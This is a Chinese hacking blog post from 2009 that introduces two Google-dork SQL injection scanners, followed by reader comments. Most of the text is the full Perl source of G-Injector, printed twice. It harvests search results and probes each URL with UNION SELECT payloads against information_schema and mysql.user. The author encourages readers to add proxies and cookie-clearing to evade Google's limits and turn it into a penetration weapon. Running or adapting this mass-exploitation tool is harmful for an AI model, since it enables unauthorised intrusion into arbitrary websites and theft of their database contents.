SimpleDorkGUi & G-Injector
作者:ZhaoHuAn 日期:2009-05-30
顾名思义,就是通过搜索引擎定义关键字来自动查找注入点的工具。对于比较庞大、脚本种类比较复杂的大型站点做渗透有所帮助。例如:site:qq.com inurl:php?id=
SimpleDorkGUi是low1z今年年初用python写的一个图形界面的注入点搜索程序,现在已经推出了第二版。它可以通过根据你指定的搜索参数来进行搜索包含sql注入的地址,并判断数据类型。缺点是不能保存当前搜索进程以便下次的继续探测,不过0.2版本已经中加入了这个功能。

0.2版的代码在:
http://www.darkc0de.com/others/simpleDorkGUi.py
/*老版本0.1版在win下运行的话,这里有处代码要修改下:
程序代码 否则你将会看不到下面的操作工具栏;) */
0.1版建议运行在python 2.x版本上,因为python 3.x的不向后兼容,一些类似exec和print语句在3.x版本被去除或修改了导致程序报错。如果非要在3.x下运行的朋友可以自己修改一下代码,或者用官方提供的转换器转换一下:
Py(2to3)
http://svn.python.org/view/sandbox/trunk/2to3/
G-Injector(perl)是法国小伙jonathan59的作品,以前常在h4cky0u玩的朋友应该对他比较熟悉


代码如下:
程序代码
比前者多了个后续的自动检测注入点的功能.并可定义将注入结果时时保存。
代码都是开源的,有兴趣的同学可以参考修改下。可以考虑加入代理功能和清除cookies来突破google的搜索请求限制、更多注入特征的判断、变形判断字符来打造成渗透利器:)
SimpleDorkGUi是low1z今年年初用python写的一个图形界面的注入点搜索程序,现在已经推出了第二版。它可以通过根据你指定的搜索参数来进行搜索包含sql注入的地址,并判断数据类型。缺点是不能保存当前搜索进程以便下次的继续探测,不过0.2版本已经中加入了这个功能。

0.2版的代码在:
http://www.darkc0de.com/others/simpleDorkGUi.py
/*老版本0.1版在win下运行的话,这里有处代码要修改下:
程序代码txtField = Text(myFrame, font=('Verdana', 8, ''),fg='orange', bg='black', width=400, height=32, wrap=WORD, yscrollcommand=scb.set)
0.1版建议运行在python 2.x版本上,因为python 3.x的不向后兼容,一些类似exec和print语句在3.x版本被去除或修改了导致程序报错。如果非要在3.x下运行的朋友可以自己修改一下代码,或者用官方提供的转换器转换一下:
Py(2to3)
http://svn.python.org/view/sandbox/trunk/2to3/
G-Injector(perl)是法国小伙jonathan59的作品,以前常在h4cky0u玩的朋友应该对他比较熟悉


代码如下:
程序代码#!/usr/bin/perl
# http://rk-project.tk
# bsnseabra@hotmail.com
# zer0xProud © greetz to Gladiator
# Sábado, 10 de Janeiro de 2009
use LWP::UserAgent;
my $top = LWP::UserAgent->new();
$top->timeout(10);
$top->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/3.0");
unless($ARGV[2]) {
print "=> G-Injector <=\n";
print "=> Use: ginjector.pl \"dork\" limit sqltest.txt\n";
print "=> Visit Us unkn0wn.ws! <=\n";
exit 0;
}
open(WEBSITES, ">>", $ARGV[2])or die("File No Exists\n");
chomp($ARGV[0]);
syswrite STDOUT, "=><=>=<=>=<=>=<=>=<=\n";
syswrite STDOUT, "=> G-Injector 1.0 <=\n";
syswrite STDOUT, "=><=>=<=>=<=>=<=>=<=\n";
googler($ARGV[0],$ARGV[2]);
close(WEBSITES);
fin();
sub inject{
syswrite STDOUT, "=> Verifing.. $_[0]=\n";
syswrite STDOUT, "=> Vulnerable??: ";
my $weborig = $_[0] . "=";
my $injhex = "-1+union+select+0x6c333374";
my $injnum = "-1+union+select+0";
my $hex='0x6c333374';
my $sw = 0;
$webnum=$weborig . $injnum;
$webhex=$weborig . $injhex;
for($conta=0;$conta<=$ARGV[1];$conta++){
if($conta>0){
$webhex.=','.$hex;
$webnum.=','.$conta;
}
$codeweb = $top->get($webhex . "--");
if($codeweb->is_success){
$getcodeweb = $codeweb->content;
if($getcodeweb =~ /l33t/ ){
syswrite STDOUT, "Ya!\n";
$sw = 1;
$conta = $_[1] + 1;
print WEBSITES "$webnum--\n";
schemauser($webhex,$webnum);
}
}
}
if($sw == 0){
syswrite STDOUT, "n0p!\n";
}
}
sub fin{
print "\n Ok, Scan Finished, Thanks, Visit us unkn0wn.ws\n";
}
sub schemauser{
my $schinj = "+from+information_schema.tables--";
my $userinj = "+from+mysql.user--";
syswrite STDOUT, "=> Information Schema?: ";
my $ws = $_[0] . $schinj;
my $wwss = $_[1] . $schinj;
my $webschema = $top->get($ws);
if($webschema->is_success){
$getwebschema = $webschema->content;
if($getwebschema =~ /l33t/ ){
syswrite STDOUT, "Ya!\n";
print WEBSITES "$wwss\n";
}else{
syswrite STDOUT, "n0p!\n";
}
}
syswrite STDOUT, "=> mysql.User??: ";
my $wu = $_[0] . $userinj;
my $wwuu = $_[1] . $userinj;
my $webuser = $top->get($wu);
if($webuser->is_success){
$getwebuser = $webuser->content;
if($webuser =~ /l33t/ ){
syswrite STDOUT, "Ya!\n";
print WEBSITES "$wwuu\n";
}else{
syswrite STDOUT, "n0p!\n";
}
}
}
sub cleared{
my $sha = $_[0];
if($sha =~ /\=/ ){
@splitweb=split("=",$sha);
inject($splitweb[0]);
}
}
sub googler{
sleep(1);
syswrite STDOUT, "Wait Please....\n";
for($numpag=0;$numpag<=40;$numpag=$numpag+10){
my $find = 'http://www.google.com.ar/search?hl=es&q=' . $_[0] . '&start=' . $numpag . '&sa=N';
my $resweb = $top->get($find);
if($resweb->is_success){
$getwebs = $resweb->content;
while($getwebs =~ m/<h3 class\=r><a href\=\"(.*?)\" class\=/g ){
cleared($1);
}
}
}
}
# http://rk-project.tk
# bsnseabra@hotmail.com
# zer0xProud © greetz to Gladiator
# Sábado, 10 de Janeiro de 2009
use LWP::UserAgent;
my $top = LWP::UserAgent->new();
$top->timeout(10);
$top->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/3.0");
unless($ARGV[2]) {
print "=> G-Injector <=\n";
print "=> Use: ginjector.pl \"dork\" limit sqltest.txt\n";
print "=> Visit Us unkn0wn.ws! <=\n";
exit 0;
}
open(WEBSITES, ">>", $ARGV[2])or die("File No Exists\n");
chomp($ARGV[0]);
syswrite STDOUT, "=><=>=<=>=<=>=<=>=<=\n";
syswrite STDOUT, "=> G-Injector 1.0 <=\n";
syswrite STDOUT, "=><=>=<=>=<=>=<=>=<=\n";
googler($ARGV[0],$ARGV[2]);
close(WEBSITES);
fin();
sub inject{
syswrite STDOUT, "=> Verifing.. $_[0]=\n";
syswrite STDOUT, "=> Vulnerable??: ";
my $weborig = $_[0] . "=";
my $injhex = "-1+union+select+0x6c333374";
my $injnum = "-1+union+select+0";
my $hex='0x6c333374';
my $sw = 0;
$webnum=$weborig . $injnum;
$webhex=$weborig . $injhex;
for($conta=0;$conta<=$ARGV[1];$conta++){
if($conta>0){
$webhex.=','.$hex;
$webnum.=','.$conta;
}
$codeweb = $top->get($webhex . "--");
if($codeweb->is_success){
$getcodeweb = $codeweb->content;
if($getcodeweb =~ /l33t/ ){
syswrite STDOUT, "Ya!\n";
$sw = 1;
$conta = $_[1] + 1;
print WEBSITES "$webnum--\n";
schemauser($webhex,$webnum);
}
}
}
if($sw == 0){
syswrite STDOUT, "n0p!\n";
}
}
sub fin{
print "\n Ok, Scan Finished, Thanks, Visit us unkn0wn.ws\n";
}
sub schemauser{
my $schinj = "+from+information_schema.tables--";
my $userinj = "+from+mysql.user--";
syswrite STDOUT, "=> Information Schema?: ";
my $ws = $_[0] . $schinj;
my $wwss = $_[1] . $schinj;
my $webschema = $top->get($ws);
if($webschema->is_success){
$getwebschema = $webschema->content;
if($getwebschema =~ /l33t/ ){
syswrite STDOUT, "Ya!\n";
print WEBSITES "$wwss\n";
}else{
syswrite STDOUT, "n0p!\n";
}
}
syswrite STDOUT, "=> mysql.User??: ";
my $wu = $_[0] . $userinj;
my $wwuu = $_[1] . $userinj;
my $webuser = $top->get($wu);
if($webuser->is_success){
$getwebuser = $webuser->content;
if($webuser =~ /l33t/ ){
syswrite STDOUT, "Ya!\n";
print WEBSITES "$wwuu\n";
}else{
syswrite STDOUT, "n0p!\n";
}
}
}
sub cleared{
my $sha = $_[0];
if($sha =~ /\=/ ){
@splitweb=split("=",$sha);
inject($splitweb[0]);
}
}
sub googler{
sleep(1);
syswrite STDOUT, "Wait Please....\n";
for($numpag=0;$numpag<=40;$numpag=$numpag+10){
my $find = 'http://www.google.com.ar/search?hl=es&q=' . $_[0] . '&start=' . $numpag . '&sa=N';
my $resweb = $top->get($find);
if($resweb->is_success){
$getwebs = $resweb->content;
while($getwebs =~ m/<h3 class\=r><a href\=\"(.*?)\" class\=/g ){
cleared($1);
}
}
}
}
比前者多了个后续的自动检测注入点的功能.并可定义将注入结果时时保存。
代码都是开源的,有兴趣的同学可以参考修改下。可以考虑加入代理功能和清除cookies来突破google的搜索请求限制、更多注入特征的判断、变形判断字符来打造成渗透利器:)
评论: 7 | 引用: 0 | 查看次数: 2100
不好意思。发错位置了。。见谅。。应该发到DZ漏洞那的。。
今天才看到你的bolg。。很不错。。尤其是你在评估上面的能力。。我自己也读了DZ 7.0。很多遍。。就是找不到漏洞。。在网上也搜索不到。。看到你找到了。。能否给点意见?
DZ的代码看起很不舒服。。你的方法可否?
mail:hc.blackwolf@gmail.com。。
DZ的代码看起很不舒服。。你的方法可否?
mail:hc.blackwolf@gmail.com。。
nb 收藏了...
TLD就是域名后缀。
perl的我改过 还是比较强大的 哈哈 有需要的可以联系我cryme@163.com
perl的我改过 还是比较强大的 哈哈 有需要的可以联系我cryme@163.com
顶,用过0.1r的,一直没搞清楚TLD是什么?
这到底是神马 啊?
发表评论
上一篇
下一篇

文章来自:
Tags: 






hax0r@gmail.com